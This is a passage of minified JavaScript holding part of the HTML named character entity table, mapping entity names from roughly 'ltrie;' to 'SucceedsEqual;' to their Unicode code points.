":\"\\u25c3\",\"ltrie;\":\"\\u22b4\",\"ltrif;\":\"\\u25c2\",\"ltrPar;\":\"\\u2996\",\"lurdshar;\":\"\\u294a\",\"luruhar;\":\"\\u2966\",\"lvertneqq;\":\"\\u2268\\ufe00\",\"lvnE;\":\"\\u2268\\ufe00\",\"macr;\":\"\\u00af\",macr:\"\\u00af\",\"male;\":\"\\u2642\",\"malt;\":\"\\u2720\",\"maltese;\":\"\\u2720\",\"Map;\":\"\\u2905\",\"map;\":\"\\u21a6\",\"mapsto;\":\"\\u21a6\",\"mapstodown;\":\"\\u21a7\",\"mapstoleft;\":\"\\u21a4\",\"mapstoup;\":\"\\u21a5\",\"marker;\":\"\\u25ae\",\"mcomma;\":\"\\u2a29\",\"Mcy;\":\"\\u041c\",\"mcy;\":\"\\u043c\",\"mdash;\":\"\\u2014\",\"mDDot;\":\"\\u223a\",\"measuredangle;\":\"\\u2221\",\"MediumSpace;\":\"\\u205f\",\"Mellintrf;\":\"\\u2133\",\"Mfr;\":\"\\ud835\\udd10\",\"mfr;\":\"\\ud835\\udd2a\",\"mho;\":\"\\u2127\",\"micro;\":\"\\u00b5\",micro:\"\\u00b5\",\"midast;\":\"*\",\"midcir;\":\"\\u2af0\",\"mid;\":\"\\u2223\",\"middot;\":\"\\u00b7\",middot:\"\\u00b7\",\"minusb;\":\"\\u229f\",\"minus;\":\"\\u2212\",\"minusd;\":\"\\u2238\",\"minusdu;\":\"\\u2a2a\",\"MinusPlus;\":\"\\u2213\",\"mlcp;\":\"\\u2adb\",\"mldr;\":\"\\u2026\",\"mnplus;\":\"\\u2213\",\"models;\":\"\\u22a7\",\"Mopf;\":\"\\ud835\\udd44\",\"mopf;\":\"\\ud835\\udd5e\",\"mp;\":\"\\u2213\",\"mscr;\":\"\\ud835\\udcc2\",\"Mscr;\":\"\\u2133\",\"mstpos;\":\"\\u223e\",\"Mu;\":\"\\u039c\",\"mu;\":\"\\u03bc\",\"multimap;\":\"\\u22b8\",\"mumap;\":\"\\u22b8\",\"nabla;\":\"\\u2207\",\"Nacute;\":\"\\u0143\",\"nacute;\":\"\\u0144\",\"nang;\":\"\\u2220\\u20d2\",\"nap;\":\"\\u2249\",\"napE;\":\"\\u2a70\\u0338\",\"napid;\":\"\\u224b\\u0338\",\"napos;\":\"\\u0149\",\"napprox;\":\"\\u2249\",\"natural;\":\"\\u266e\",\"naturals;\":\"\\u2115\",\"natur;\":\"\\u266e\",\"nbsp;\":\"\\u00a0\",nbsp:\"\\u00a0\",\"nbump;\":\"\\u224e\\u0338\",\"nbumpe;\":\"\\u224f\\u0338\",\"ncap;\":\"\\u2a43\",\"Ncaron;\":\"\\u0147\",\"ncaron;\":\"\\u0148\",\"Ncedil;\":\"\\u0145\",\"ncedil;\":\"\\u0146\",\"ncong;\":\"\\u2247\",\"ncongdot;\":\"\\u2a6d\\u0338\",\"ncup;\":\"\\u2a42\",\"Ncy;\":\"\\u041d\",\"ncy;\":\"\\u043d\",\"ndash;\":\"\\u2013\",\"nearhk;\":\"\\u2924\",\"nearr;\":\"\\u2197\",\"neArr;\":\"\\u21d7\",\"nearrow;\":\"\\u2197\",\"ne;\":\"\\u2260\",\"nedot;\":\"\\u2250\\u0338\",\"NegativeMediumSpace;\":\"\\u200b\",\"NegativeThickSpace;\":\"\\u200b\",\"NegativeThinSpace;\":\"\\u200b\",\"NegativeVeryThinSpace;\":\"\\u200b\",\"nequiv;\":\"\\u2262\",\"nesear;\":\"\\u2928\",\"nesim;\":\"\\u2242\\u0338\",\"NestedGreaterGreater;\":\"\\u226b\",\"NestedLessLess;\":\"\\u226a\",\"NewLine;\":\"\\n\",\"nexist;\":\"\\u2204\",\"nexists;\":\"\\u2204\",\"Nfr;\":\"\\ud835\\udd11\",\"nfr;\":\"\\ud835\\udd2b\",\"ngE;\":\"\\u2267\\u0338\",\"nge;\":\"\\u2271\",\"ngeq;\":\"\\u2271\",\"ngeqq;\":\"\\u2267\\u0338\",\"ngeqslant;\":\"\\u2a7e\\u0338\",\"nges;\":\"\\u2a7e\\u0338\",\"nGg;\":\"\\u22d9\\u0338\",\"ngsim;\":\"\\u2275\",\"nGt;\":\"\\u226b\\u20d2\",\"ngt;\":\"\\u226f\",\"ngtr;\":\"\\u226f\",\"nGtv;\":\"\\u226b\\u0338\",\"nharr;\":\"\\u21ae\",\"nhArr;\":\"\\u21ce\",\"nhpar;\":\"\\u2af2\",\"ni;\":\"\\u220b\",\"nis;\":\"\\u22fc\",\"nisd;\":\"\\u22fa\",\"niv;\":\"\\u220b\",\"NJcy;\":\"\\u040a\",\"njcy;\":\"\\u045a\",\"nlarr;\":\"\\u219a\",\"nlArr;\":\"\\u21cd\",\"nldr;\":\"\\u2025\",\"nlE;\":\"\\u2266\\u0338\",\"nle;\":\"\\u2270\",\"nleftarrow;\":\"\\u219a\",\"nLeftarrow;\":\"\\u21cd\",\"nleftrightarrow;\":\"\\u21ae\",\"nLeftrightarrow;\":\"\\u21ce\",\"nleq;\":\"\\u2270\",\"nleqq;\":\"\\u2266\\u0338\",\"nleqslant;\":\"\\u2a7d\\u0338\",\"nles;\":\"\\u2a7d\\u0338\",\"nless;\":\"\\u226e\",\"nLl;\":\"\\u22d8\\u0338\",\"nlsim;\":\"\\u2274\",\"nLt;\":\"\\u226a\\u20d2\",\"nlt;\":\"\\u226e\",\"nltri;\":\"\\u22ea\",\"nltrie;\":\"\\u22ec\",\"nLtv;\":\"\\u226a\\u0338\",\"nmid;\":\"\\u2224\",\"NoBreak;\":\"\\u2060\",\"NonBreakingSpace;\":\"\\u00a0\",\"nopf;\":\"\\ud835\\udd5f\",\"Nopf;\":\"\\u2115\",\"Not;\":\"\\u2aec\",\"not;\":\"\\u00ac\",not:\"\\u00ac\",\"NotCongruent;\":\"\\u2262\",\"NotCupCap;\":\"\\u226d\",\"NotDoubleVerticalBar;\":\"\\u2226\",\"NotElement;\":\"\\u2209\",\"NotEqual;\":\"\\u2260\",\"NotEqualTilde;\":\"\\u2242\\u0338\",\"NotExists;\":\"\\u2204\",\"NotGreater;\":\"\\u226f\",\"NotGreaterEqual;\":\"\\u2271\",\"NotGreaterFullEqual;\":\"\\u2267\\u0338\",\"NotGreaterGreater;\":\"\\u226b\\u0338\",\"NotGreaterLess;\":\"\\u2279\",\"NotGreaterSlantEqual;\":\"\\u2a7e\\u0338\",\"NotGreaterTilde;\":\"\\u2275\",\"NotHumpDownHump;\":\"\\u224e\\u0338\",\"NotHumpEqual;\":\"\\u224f\\u0338\",\"notin;\":\"\\u2209\",\"notindot;\":\"\\u22f5\\u0338\",\"notinE;\":\"\\u22f9\\u0338\",\"notinva;\":\"\\u2209\",\"notinvb;\":\"\\u22f7\",\"notinvc;\":\"\\u22f6\",\"NotLeftTriangleBar;\":\"\\u29cf\\u0338\",\"NotLeftTriangle;\":\"\\u22ea\",\"NotLeftTriangleEqual;\":\"\\u22ec\",\"NotLess;\":\"\\u226e\",\"NotLessEqual;\":\"\\u2270\",\"NotLessGreater;\":\"\\u2278\",\"NotLessLess;\":\"\\u226a\\u0338\",\"NotLessSlantEqual;\":\"\\u2a7d\\u0338\",\"NotLessTilde;\":\"\\u2274\",\"NotNestedGreaterGreater;\":\"\\u2aa2\\u0338\",\"NotNestedLessLess;\":\"\\u2aa1\\u0338\",\"notni;\":\"\\u220c\",\"notniva;\":\"\\u220c\",\"notnivb;\":\"\\u22fe\",\"notnivc;\":\"\\u22fd\",\"NotPrecedes;\":\"\\u2280\",\"NotPrecedesEqual;\":\"\\u2aaf\\u0338\",\"NotPrecedesSlantEqual;\":\"\\u22e0\",\"NotReverseElement;\":\"\\u220c\",\"NotRightTriangleBar;\":\"\\u29d0\\u0338\",\"NotRightTriangle;\":\"\\u22eb\",\"NotRightTriangleEqual;\":\"\\u22ed\",\"NotSquareSubset;\":\"\\u228f\\u0338\",\"NotSquareSubsetEqual;\":\"\\u22e2\",\"NotSquareSuperset;\":\"\\u2290\\u0338\",\"NotSquareSupersetEqual;\":\"\\u22e3\",\"NotSubset;\":\"\\u2282\\u20d2\",\"NotSubsetEqual;\":\"\\u2288\",\"NotSucceeds;\":\"\\u2281\",\"NotSucceedsEqual;\":\"\\u2ab0\\u0338\",\"NotSucceedsSlantEqual;\":\"\\u22e1\",\"NotSucceedsTilde;\":\"\\u227f\\u0338\",\"NotSuperset;\":\"\\u2283\\u20d2\",\"NotSupersetEqual;\":\"\\u2289\",\"NotTilde;\":\"\\u2241\",\"NotTildeEqual;\":\"\\u2244\",\"NotTildeFullEqual;\":\"\\u2247\",\"NotTildeTilde;\":\"\\u2249\",\"NotVerticalBar;\":\"\\u2224\",\"nparallel;\":\"\\u2226\",\"npar;\":\"\\u2226\",\"nparsl;\":\"\\u2afd\\u20e5\",\"npart;\":\"\\u2202\\u0338\",\"npolint;\":\"\\u2a14\",\"npr;\":\"\\u2280\",\"nprcue;\":\"\\u22e0\",\"nprec;\":\"\\u2280\",\"npreceq;\":\"\\u2aaf\\u0338\",\"npre;\":\"\\u2aaf\\u0338\",\"nrarrc;\":\"\\u2933\\u0338\",\"nrarr;\":\"\\u219b\",\"nrArr;\":\"\\u21cf\",\"nrarrw;\":\"\\u219d\\u0338\",\"nrightarrow;\":\"\\u219b\",\"nRightarrow;\":\"\\u21cf\",\"nrtri;\":\"\\u22eb\",\"nrtrie;\":\"\\u22ed\",\"nsc;\":\"\\u2281\",\"nsccue;\":\"\\u22e1\",\"nsce;\":\"\\u2ab0\\u0338\",\"Nscr;\":\"\\ud835\\udca9\",\"nscr;\":\"\\ud835\\udcc3\",\"nshortmid;\":\"\\u2224\",\"nshortparallel;\":\"\\u2226\",\"nsim;\":\"\\u2241\",\"nsime;\":\"\\u2244\",\"nsimeq;\":\"\\u2244\",\"nsmid;\":\"\\u2224\",\"nspar;\":\"\\u2226\",\"nsqsube;\":\"\\u22e2\",\"nsqsupe;\":\"\\u22e3\",\"nsub;\":\"\\u2284\",\"nsubE;\":\"\\u2ac5\\u0338\",\"nsube;\":\"\\u2288\",\"nsubset;\":\"\\u2282\\u20d2\",\"nsubseteq;\":\"\\u2288\",\"nsubseteqq;\":\"\\u2ac5\\u0338\",\"nsucc;\":\"\\u2281\",\"nsucceq;\":\"\\u2ab0\\u0338\",\"nsup;\":\"\\u2285\",\"nsupE;\":\"\\u2ac6\\u0338\",\"nsupe;\":\"\\u2289\",\"nsupset;\":\"\\u2283\\u20d2\",\"nsupseteq;\":\"\\u2289\",\"nsupseteqq;\":\"\\u2ac6\\u0338\",\"ntgl;\":\"\\u2279\",\"Ntilde;\":\"\\u00d1\",Ntilde:\"\\u00d1\",\"ntilde;\":\"\\u00f1\",ntilde:\"\\u00f1\",\"ntlg;\":\"\\u2278\",\"ntriangleleft;\":\"\\u22ea\",\"ntrianglelefteq;\":\"\\u22ec\",\"ntriangleright;\":\"\\u22eb\",\"ntrianglerighteq;\":\"\\u22ed\",\"Nu;\":\"\\u039d\",\"nu;\":\"\\u03bd\",\"num;\":\"#\",\"numero;\":\"\\u2116\",\"numsp;\":\"\\u2007\",\"nvap;\":\"\\u224d\\u20d2\",\"nvdash;\":\"\\u22ac\",\"nvDash;\":\"\\u22ad\",\"nVdash;\":\"\\u22ae\",\"nVDash;\":\"\\u22af\",\"nvge;\":\"\\u2265\\u20d2\",\"nvgt;\":\">\\u20d2\",\"nvHarr;\":\"\\u2904\",\"nvinfin;\":\"\\u29de\",\"nvlArr;\":\"\\u2902\",\"nvle;\":\"\\u2264\\u20d2\",\"nvlt;\":\"<\\u20d2\",\"nvltrie;\":\"\\u22b4\\u20d2\",\"nvrArr;\":\"\\u2903\",\"nvrtrie;\":\"\\u22b5\\u20d2\",\"nvsim;\":\"\\u223c\\u20d2\",\"nwarhk;\":\"\\u2923\",\"nwarr;\":\"\\u2196\",\"nwArr;\":\"\\u21d6\",\"nwarrow;\":\"\\u2196\",\"nwnear;\":\"\\u2927\",\"Oacute;\":\"\\u00d3\",Oacute:\"\\u00d3\",\"oacute;\":\"\\u00f3\",oacute:\"\\u00f3\",\"oast;\":\"\\u229b\",\"Ocirc;\":\"\\u00d4\",Ocirc:\"\\u00d4\",\"ocirc;\":\"\\u00f4\",ocirc:\"\\u00f4\",\"ocir;\":\"\\u229a\",\"Ocy;\":\"\\u041e\",\"ocy;\":\"\\u043e\",\"odash;\":\"\\u229d\",\"Odblac;\":\"\\u0150\",\"odblac;\":\"\\u0151\",\"odiv;\":\"\\u2a38\",\"odot;\":\"\\u2299\",\"odsold;\":\"\\u29bc\",\"OElig;\":\"\\u0152\",\"oelig;\":\"\\u0153\",\"ofcir;\":\"\\u29bf\",\"Ofr;\":\"\\ud835\\udd12\",\"ofr;\":\"\\ud835\\udd2c\",\"ogon;\":\"\\u02db\",\"Ograve;\":\"\\u00d2\",Ograve:\"\\u00d2\",\"ograve;\":\"\\u00f2\",ograve:\"\\u00f2\",\"ogt;\":\"\\u29c1\",\"ohbar;\":\"\\u29b5\",\"ohm;\":\"\\u03a9\",\"oint;\":\"\\u222e\",\"olarr;\":\"\\u21ba\",\"olcir;\":\"\\u29be\",\"olcross;\":\"\\u29bb\",\"oline;\":\"\\u203e\",\"olt;\":\"\\u29c0\",\"Omacr;\":\"\\u014c\",\"omacr;\":\"\\u014d\",\"Omega;\":\"\\u03a9\",\"omega;\":\"\\u03c9\",\"Omicron;\":\"\\u039f\",\"omicron;\":\"\\u03bf\",\"omid;\":\"\\u29b6\",\"ominus;\":\"\\u2296\",\"Oopf;\":\"\\ud835\\udd46\",\"oopf;\":\"\\ud835\\udd60\",\"opar;\":\"\\u29b7\",\"OpenCurlyDoubleQuote;\":\"\\u201c\",\"OpenCurlyQuote;\":\"\\u2018\",\"operp;\":\"\\u29b9\",\"oplus;\":\"\\u2295\",\"orarr;\":\"\\u21bb\",\"Or;\":\"\\u2a54\",\"or;\":\"\\u2228\",\"ord;\":\"\\u2a5d\",\"order;\":\"\\u2134\",\"orderof;\":\"\\u2134\",\"ordf;\":\"\\u00aa\",ordf:\"\\u00aa\",\"ordm;\":\"\\u00ba\",ordm:\"\\u00ba\",\"origof;\":\"\\u22b6\",\"oror;\":\"\\u2a56\",\"orslope;\":\"\\u2a57\",\"orv;\":\"\\u2a5b\",\"oS;\":\"\\u24c8\",\"Oscr;\":\"\\ud835\\udcaa\",\"oscr;\":\"\\u2134\",\"Oslash;\":\"\\u00d8\",Oslash:\"\\u00d8\",\"oslash;\":\"\\u00f8\",oslash:\"\\u00f8\",\"osol;\":\"\\u2298\",\"Otilde;\":\"\\u00d5\",Otilde:\"\\u00d5\",\"otilde;\":\"\\u00f5\",otilde:\"\\u00f5\",\"otimesas;\":\"\\u2a36\",\"Otimes;\":\"\\u2a37\",\"otimes;\":\"\\u2297\",\"Ouml;\":\"\\u00d6\",Ouml:\"\\u00d6\",\"ouml;\":\"\\u00f6\",ouml:\"\\u00f6\",\"ovbar;\":\"\\u233d\",\"OverBar;\":\"\\u203e\",\"OverBrace;\":\"\\u23de\",\"OverBracket;\":\"\\u23b4\",\"OverParenthesis;\":\"\\u23dc\",\"para;\":\"\\u00b6\",para:\"\\u00b6\",\"parallel;\":\"\\u2225\",\"par;\":\"\\u2225\",\"parsim;\":\"\\u2af3\",\"parsl;\":\"\\u2afd\",\"part;\":\"\\u2202\",\"PartialD;\":\"\\u2202\",\"Pcy;\":\"\\u041f\",\"pcy;\":\"\\u043f\",\"percnt;\":\"%\",\"period;\":\".\",\"permil;\":\"\\u2030\",\"perp;\":\"\\u22a5\",\"pertenk;\":\"\\u2031\",\"Pfr;\":\"\\ud835\\udd13\",\"pfr;\":\"\\ud835\\udd2d\",\"Phi;\":\"\\u03a6\",\"phi;\":\"\\u03c6\",\"phiv;\":\"\\u03d5\",\"phmmat;\":\"\\u2133\",\"phone;\":\"\\u260e\",\"Pi;\":\"\\u03a0\",\"pi;\":\"\\u03c0\",\"pitchfork;\":\"\\u22d4\",\"piv;\":\"\\u03d6\",\"planck;\":\"\\u210f\",\"planckh;\":\"\\u210e\",\"plankv;\":\"\\u210f\",\"plusacir;\":\"\\u2a23\",\"plusb;\":\"\\u229e\",\"pluscir;\":\"\\u2a22\",\"plus;\":\"+\",\"plusdo;\":\"\\u2214\",\"plusdu;\":\"\\u2a25\",\"pluse;\":\"\\u2a72\",\"PlusMinus;\":\"\\u00b1\",\"plusmn;\":\"\\u00b1\",plusmn:\"\\u00b1\",\"plussim;\":\"\\u2a26\",\"plustwo;\":\"\\u2a27\",\"pm;\":\"\\u00b1\",\"Poincareplane;\":\"\\u210c\",\"pointint;\":\"\\u2a15\",\"popf;\":\"\\ud835\\udd61\",\"Popf;\":\"\\u2119\",\"pound;\":\"\\u00a3\",pound:\"\\u00a3\",\"prap;\":\"\\u2ab7\",\"Pr;\":\"\\u2abb\",\"pr;\":\"\\u227a\",\"prcue;\":\"\\u227c\",\"precapprox;\":\"\\u2ab7\",\"prec;\":\"\\u227a\",\"preccurlyeq;\":\"\\u227c\",\"Precedes;\":\"\\u227a\",\"PrecedesEqual;\":\"\\u2aaf\",\"PrecedesSlantEqual;\":\"\\u227c\",\"PrecedesTilde;\":\"\\u227e\",\"preceq;\":\"\\u2aaf\",\"precnapprox;\":\"\\u2ab9\",\"precneqq;\":\"\\u2ab5\",\"precnsim;\":\"\\u22e8\",\"pre;\":\"\\u2aaf\",\"prE;\":\"\\u2ab3\",\"precsim;\":\"\\u227e\",\"prime;\":\"\\u2032\",\"Prime;\":\"\\u2033\",\"primes;\":\"\\u2119\",\"prnap;\":\"\\u2ab9\",\"prnE;\":\"\\u2ab5\",\"prnsim;\":\"\\u22e8\",\"prod;\":\"\\u220f\",\"Product;\":\"\\u220f\",\"profalar;\":\"\\u232e\",\"profline;\":\"\\u2312\",\"profsurf;\":\"\\u2313\",\"prop;\":\"\\u221d\",\"Proportional;\":\"\\u221d\",\"Proportion;\":\"\\u2237\",\"propto;\":\"\\u221d\",\"prsim;\":\"\\u227e\",\"prurel;\":\"\\u22b0\",\"Pscr;\":\"\\ud835\\udcab\",\"pscr;\":\"\\ud835\\udcc5\",\"Psi;\":\"\\u03a8\",\"psi;\":\"\\u03c8\",\"puncsp;\":\"\\u2008\",\"Qfr;\":\"\\ud835\\udd14\",\"qfr;\":\"\\ud835\\udd2e\",\"qint;\":\"\\u2a0c\",\"qopf;\":\"\\ud835\\udd62\",\"Qopf;\":\"\\u211a\",\"qprime;\":\"\\u2057\",\"Qscr;\":\"\\ud835\\udcac\",\"qscr;\":\"\\ud835\\udcc6\",\"quaternions;\":\"\\u210d\",\"quatint;\":\"\\u2a16\",\"quest;\":\"?\",\"questeq;\":\"\\u225f\",\"quot;\":'\"',quot:'\"',\"QUOT;\":'\"',QUOT:'\"',\"rAarr;\":\"\\u21db\",\"race;\":\"\\u223d\\u0331\",\"Racute;\":\"\\u0154\",\"racute;\":\"\\u0155\",\"radic;\":\"\\u221a\",\"raemptyv;\":\"\\u29b3\",\"rang;\":\"\\u27e9\",\"Rang;\":\"\\u27eb\",\"rangd;\":\"\\u2992\",\"range;\":\"\\u29a5\",\"rangle;\":\"\\u27e9\",\"raquo;\":\"\\u00bb\",raquo:\"\\u00bb\",\"rarrap;\":\"\\u2975\",\"rarrb;\":\"\\u21e5\",\"rarrbfs;\":\"\\u2920\",\"rarrc;\":\"\\u2933\",\"rarr;\":\"\\u2192\",\"Rarr;\":\"\\u21a0\",\"rArr;\":\"\\u21d2\",\"rarrfs;\":\"\\u291e\",\"rarrhk;\":\"\\u21aa\",\"rarrlp;\":\"\\u21ac\",\"rarrpl;\":\"\\u2945\",\"rarrsim;\":\"\\u2974\",\"Rarrtl;\":\"\\u2916\",\"rarrtl;\":\"\\u21a3\",\"rarrw;\":\"\\u219d\",\"ratail;\":\"\\u291a\",\"rAtail;\":\"\\u291c\",\"ratio;\":\"\\u2236\",\"rationals;\":\"\\u211a\",\"rbarr;\":\"\\u290d\",\"rBarr;\":\"\\u290f\",\"RBarr;\":\"\\u2910\",\"rbbrk;\":\"\\u2773\",\"rbrace;\":\"}\",\"rbrack;\":\"]\",\"rbrke;\":\"\\u298c\",\"rbrksld;\":\"\\u298e\",\"rbrkslu;\":\"\\u2990\",\"Rcaron;\":\"\\u0158\",\"rcaron;\":\"\\u0159\",\"Rcedil;\":\"\\u0156\",\"rcedil;\":\"\\u0157\",\"rceil;\":\"\\u2309\",\"rcub;\":\"}\",\"Rcy;\":\"\\u0420\",\"rcy;\":\"\\u0440\",\"rdca;\":\"\\u2937\",\"rdldhar;\":\"\\u2969\",\"rdquo;\":\"\\u201d\",\"rdquor;\":\"\\u201d\",\"rdsh;\":\"\\u21b3\",\"real;\":\"\\u211c\",\"realine;\":\"\\u211b\",\"realpart;\":\"\\u211c\",\"reals;\":\"\\u211d\",\"Re;\":\"\\u211c\",\"rect;\":\"\\u25ad\",\"reg;\":\"\\u00ae\",reg:\"\\u00ae\",\"REG;\":\"\\u00ae\",REG:\"\\u00ae\",\"ReverseElement;\":\"\\u220b\",\"ReverseEquilibrium;\":\"\\u21cb\",\"ReverseUpEquilibrium;\":\"\\u296f\",\"rfisht;\":\"\\u297d\",\"rfloor;\":\"\\u230b\",\"rfr;\":\"\\ud835\\udd2f\",\"Rfr;\":\"\\u211c\",\"rHar;\":\"\\u2964\",\"rhard;\":\"\\u21c1\",\"rharu;\":\"\\u21c0\",\"rharul;\":\"\\u296c\",\"Rho;\":\"\\u03a1\",\"rho;\":\"\\u03c1\",\"rhov;\":\"\\u03f1\",\"RightAngleBracket;\":\"\\u27e9\",\"RightArrowBar;\":\"\\u21e5\",\"rightarrow;\":\"\\u2192\",\"RightArrow;\":\"\\u2192\",\"Rightarrow;\":\"\\u21d2\",\"RightArrowLeftArrow;\":\"\\u21c4\",\"rightarrowtail;\":\"\\u21a3\",\"RightCeiling;\":\"\\u2309\",\"RightDoubleBracket;\":\"\\u27e7\",\"RightDownTeeVector;\":\"\\u295d\",\"RightDownVectorBar;\":\"\\u2955\",\"RightDownVector;\":\"\\u21c2\",\"RightFloor;\":\"\\u230b\",\"rightharpoondown;\":\"\\u21c1\",\"rightharpoonup;\":\"\\u21c0\",\"rightleftarrows;\":\"\\u21c4\",\"rightleftharpoons;\":\"\\u21cc\",\"rightrightarrows;\":\"\\u21c9\",\"rightsquigarrow;\":\"\\u219d\",\"RightTeeArrow;\":\"\\u21a6\",\"RightTee;\":\"\\u22a2\",\"RightTeeVector;\":\"\\u295b\",\"rightthreetimes;\":\"\\u22cc\",\"RightTriangleBar;\":\"\\u29d0\",\"RightTriangle;\":\"\\u22b3\",\"RightTriangleEqual;\":\"\\u22b5\",\"RightUpDownVector;\":\"\\u294f\",\"RightUpTeeVector;\":\"\\u295c\",\"RightUpVectorBar;\":\"\\u2954\",\"RightUpVector;\":\"\\u21be\",\"RightVectorBar;\":\"\\u2953\",\"RightVector;\":\"\\u21c0\",\"ring;\":\"\\u02da\",\"risingdotseq;\":\"\\u2253\",\"rlarr;\":\"\\u21c4\",\"rlhar;\":\"\\u21cc\",\"rlm;\":\"\\u200f\",\"rmoustache;\":\"\\u23b1\",\"rmoust;\":\"\\u23b1\",\"rnmid;\":\"\\u2aee\",\"roang;\":\"\\u27ed\",\"roarr;\":\"\\u21fe\",\"robrk;\":\"\\u27e7\",\"ropar;\":\"\\u2986\",\"ropf;\":\"\\ud835\\udd63\",\"Ropf;\":\"\\u211d\",\"roplus;\":\"\\u2a2e\",\"rotimes;\":\"\\u2a35\",\"RoundImplies;\":\"\\u2970\",\"rpar;\":\")\",\"rpargt;\":\"\\u2994\",\"rppolint;\":\"\\u2a12\",\"rrarr;\":\"\\u21c9\",\"Rrightarrow;\":\"\\u21db\",\"rsaquo;\":\"\\u203a\",\"rscr;\":\"\\ud835\\udcc7\",\"Rscr;\":\"\\u211b\",\"rsh;\":\"\\u21b1\",\"Rsh;\":\"\\u21b1\",\"rsqb;\":\"]\",\"rsquo;\":\"\\u2019\",\"rsquor;\":\"\\u2019\",\"rthree;\":\"\\u22cc\",\"rtimes;\":\"\\u22ca\",\"rtri;\":\"\\u25b9\",\"rtrie;\":\"\\u22b5\",\"rtrif;\":\"\\u25b8\",\"rtriltri;\":\"\\u29ce\",\"RuleDelayed;\":\"\\u29f4\",\"ruluhar;\":\"\\u2968\",\"rx;\":\"\\u211e\",\"Sacute;\":\"\\u015a\",\"sacute;\":\"\\u015b\",\"sbquo;\":\"\\u201a\",\"scap;\":\"\\u2ab8\",\"Scaron;\":\"\\u0160\",\"scaron;\":\"\\u0161\",\"Sc;\":\"\\u2abc\",\"sc;\":\"\\u227b\",\"sccue;\":\"\\u227d\",\"sce;\":\"\\u2ab0\",\"scE;\":\"\\u2ab4\",\"Scedil;\":\"\\u015e\",\"scedil;\":\"\\u015f\",\"Scirc;\":\"\\u015c\",\"scirc;\":\"\\u015d\",\"scnap;\":\"\\u2aba\",\"scnE;\":\"\\u2ab6\",\"scnsim;\":\"\\u22e9\",\"scpolint;\":\"\\u2a13\",\"scsim;\":\"\\u227f\",\"Scy;\":\"\\u0421\",\"scy;\":\"\\u0441\",\"sdotb;\":\"\\u22a1\",\"sdot;\":\"\\u22c5\",\"sdote;\":\"\\u2a66\",\"searhk;\":\"\\u2925\",\"searr;\":\"\\u2198\",\"seArr;\":\"\\u21d8\",\"searrow;\":\"\\u2198\",\"sect;\":\"\\u00a7\",sect:\"\\u00a7\",\"semi;\":\";\",\"seswar;\":\"\\u2929\",\"setminus;\":\"\\u2216\",\"setmn;\":\"\\u2216\",\"sext;\":\"\\u2736\",\"Sfr;\":\"\\ud835\\udd16\",\"sfr;\":\"\\ud835\\udd30\",\"sfrown;\":\"\\u2322\",\"sharp;\":\"\\u266f\",\"SHCHcy;\":\"\\u0429\",\"shchcy;\":\"\\u0449\",\"SHcy;\":\"\\u0428\",\"shcy;\":\"\\u0448\",\"ShortDownArrow;\":\"\\u2193\",\"ShortLeftArrow;\":\"\\u2190\",\"shortmid;\":\"\\u2223\",\"shortparallel;\":\"\\u2225\",\"ShortRightArrow;\":\"\\u2192\",\"ShortUpArrow;\":\"\\u2191\",\"shy;\":\"\\u00ad\",shy:\"\\u00ad\",\"Sigma;\":\"\\u03a3\",\"sigma;\":\"\\u03c3\",\"sigmaf;\":\"\\u03c2\",\"sigmav;\":\"\\u03c2\",\"sim;\":\"\\u223c\",\"simdot;\":\"\\u2a6a\",\"sime;\":\"\\u2243\",\"simeq;\":\"\\u2243\",\"simg;\":\"\\u2a9e\",\"simgE;\":\"\\u2aa0\",\"siml;\":\"\\u2a9d\",\"simlE;\":\"\\u2a9f\",\"simne;\":\"\\u2246\",\"simplus;\":\"\\u2a24\",\"simrarr;\":\"\\u2972\",\"slarr;\":\"\\u2190\",\"SmallCircle;\":\"\\u2218\",\"smallsetminus;\":\"\\u2216\",\"smashp;\":\"\\u2a33\",\"smeparsl;\":\"\\u29e4\",\"smid;\":\"\\u2223\",\"smile;\":\"\\u2323\",\"smt;\":\"\\u2aaa\",\"smte;\":\"\\u2aac\",\"smtes;\":\"\\u2aac\\ufe00\",\"SOFTcy;\":\"\\u042c\",\"softcy;\":\"\\u044c\",\"solbar;\":\"\\u233f\",\"solb;\":\"\\u29c4\",\"sol;\":\"/\",\"Sopf;\":\"\\ud835\\udd4a\",\"sopf;\":\"\\ud835\\udd64\",\"spades;\":\"\\u2660\",\"spadesuit;\":\"\\u2660\",\"spar;\":\"\\u2225\",\"sqcap;\":\"\\u2293\",\"sqcaps;\":\"\\u2293\\ufe00\",\"sqcup;\":\"\\u2294\",\"sqcups;\":\"\\u2294\\ufe00\",\"Sqrt;\":\"\\u221a\",\"sqsub;\":\"\\u228f\",\"sqsube;\":\"\\u2291\",\"sqsubset;\":\"\\u228f\",\"sqsubseteq;\":\"\\u2291\",\"sqsup;\":\"\\u2290\",\"sqsupe;\":\"\\u2292\",\"sqsupset;\":\"\\u2290\",\"sqsupseteq;\":\"\\u2292\",\"square;\":\"\\u25a1\",\"Square;\":\"\\u25a1\",\"SquareIntersection;\":\"\\u2293\",\"SquareSubset;\":\"\\u228f\",\"SquareSubsetEqual;\":\"\\u2291\",\"SquareSuperset;\":\"\\u2290\",\"SquareSupersetEqual;\":\"\\u2292\",\"SquareUnion;\":\"\\u2294\",\"squarf;\":\"\\u25aa\",\"squ;\":\"\\u25a1\",\"squf;\":\"\\u25aa\",\"srarr;\":\"\\u2192\",\"Sscr;\":\"\\ud835\\udcae\",\"sscr;\":\"\\ud835\\udcc8\",\"ssetmn;\":\"\\u2216\",\"ssmile;\":\"\\u2323\",\"sstarf;\":\"\\u22c6\",\"Star;\":\"\\u22c6\",\"star;\":\"\\u2606\",\"starf;\":\"\\u2605\",\"straightepsilon;\":\"\\u03f5\",\"straightphi;\":\"\\u03d5\",\"strns;\":\"\\u00af\",\"sub;\":\"\\u2282\",\"Sub;\":\"\\u22d0\",\"subdot;\":\"\\u2abd\",\"subE;\":\"\\u2ac5\",\"sube;\":\"\\u2286\",\"subedot;\":\"\\u2ac3\",\"submult;\":\"\\u2ac1\",\"subnE;\":\"\\u2acb\",\"subne;\":\"\\u228a\",\"subplus;\":\"\\u2abf\",\"subrarr;\":\"\\u2979\",\"subset;\":\"\\u2282\",\"Subset;\":\"\\u22d0\",\"subseteq;\":\"\\u2286\",\"subseteqq;\":\"\\u2ac5\",\"SubsetEqual;\":\"\\u2286\",\"subsetneq;\":\"\\u228a\",\"subsetneqq;\":\"\\u2acb\",\"subsim;\":\"\\u2ac7\",\"subsub;\":\"\\u2ad5\",\"subsup;\":\"\\u2ad3\",\"succapprox;\":\"\\u2ab8\",\"succ;\":\"\\u227b\",\"succcurlyeq;\":\"\\u227d\",\"Succeeds;\":\"\\u227b\",\"SucceedsEqual;\":\"\\u2a